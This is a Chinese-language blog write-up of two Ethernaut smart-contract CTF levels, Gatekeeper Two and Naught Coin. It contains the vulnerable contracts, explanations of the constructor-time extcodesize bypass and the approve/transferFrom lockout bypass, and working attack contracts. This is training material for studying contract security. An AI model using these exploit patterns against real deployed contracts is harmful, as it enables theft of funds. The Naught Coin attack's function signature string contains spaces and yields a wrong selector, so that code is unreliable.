0%

区块链学习之叁

区块链学习之叁

损耗送:纵欲也是修行的一种,水木之气先行;

ethernaut - Gatekeeper Two

description

1
2
3
4
5
6
// This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

// Things that might help:
// Remember what you've learned from getting past the first gatekeeper - the first gate is the same.
// The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See Solidity Assembly for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
// The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see Solidity cheatsheet). The Coin Flip level is also a good place to start when approaching this challenge.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

直接看gateTwo()

乍一看gateOne()gateTwo()好像冲突,因为gateOne()要求用第三方合约调用函数,而gateTwo()要求caller()(等价于msg.sender)没有代码;

只有不存在的合约和钱包合约是没有代码的;

然而,在合约构造函数执行过程中,caller()是还没有被部署到目标 block 上的,此时调用extcodesize(caller())就可以得到0,因此可以在构造函数中调用enter()成功绕过gateTwo()

再看gateThree(),一个异或,能 pass 的_gatekey值应当是:

1
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwoAttack {
constructor(address _victim) {
bytes8 gatekey;
gatekey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
_victim.call(abi.encodeWithSignature("enter(bytes8)", gatekey));
}

}

部署即可;

ethernaut - Naught Coin

description

1
2
3
4
5
6
// NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

// Things that might help

// The ERC20 Spec
// The OpenZeppelin codebase

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

ERC20 标准定义了以上合约;

lockTokens() 这个 modifer 决定自合约被部署的开始往后十年内,transfer 函数对 player 禁用;

查看 ERC20 ,发现可以用另外一个函数transferFrom()进行转账操作,看一下这个函数有哪些限制:

part of ERC20 source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
   function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}

// 消耗 Allowance , Allowance 是什么 ?
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}

// 查询 allowances ,猜测 allowances 是 owner 给 spender 的额度?
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}

// 定义
mapping(address account => mapping(address spender => uint256)) private _allowances;

// 可以修改 _allowances ,看看对外函数
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}

// 猜测正确
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}


// 执行转账,更新余额
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}

所以可以先用playerapprove()把所有额度给第三个合约,然后再用第三方合约调transferFrom()balance()悉数转出去;

题解

approve

1
2
// 注意这个控制台操作传字符串,大数 js 处理不动
await contract.approve('0x142bB6fE56436bcB1DA7788AceB35b34899ea3C2','1000000000000000000000000')

attack contract (0x142bB6fE56436bcB1DA7788AceB35b34899ea3C2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract NaughtCoinAttack{
address private player;
address private instant;

event log(bool);

constructor(address _player,address _instant) {
player = _player;
instant = _instant;
}

function exp() public {
bytes memory data;
(, data)=instant.call(abi.encodeWithSignature("balanceOf(address)",player));
uint256 balance = abi.decode(data, (uint256));
(bool success, ) = instant.call(abi.encodeWithSignature("transferFrom(address, address, uint256)", player, address(this), balance));
emit log(success);
}
}

只肖数日便忘掉了人生的所有伤痛,就好像它们未曾来过。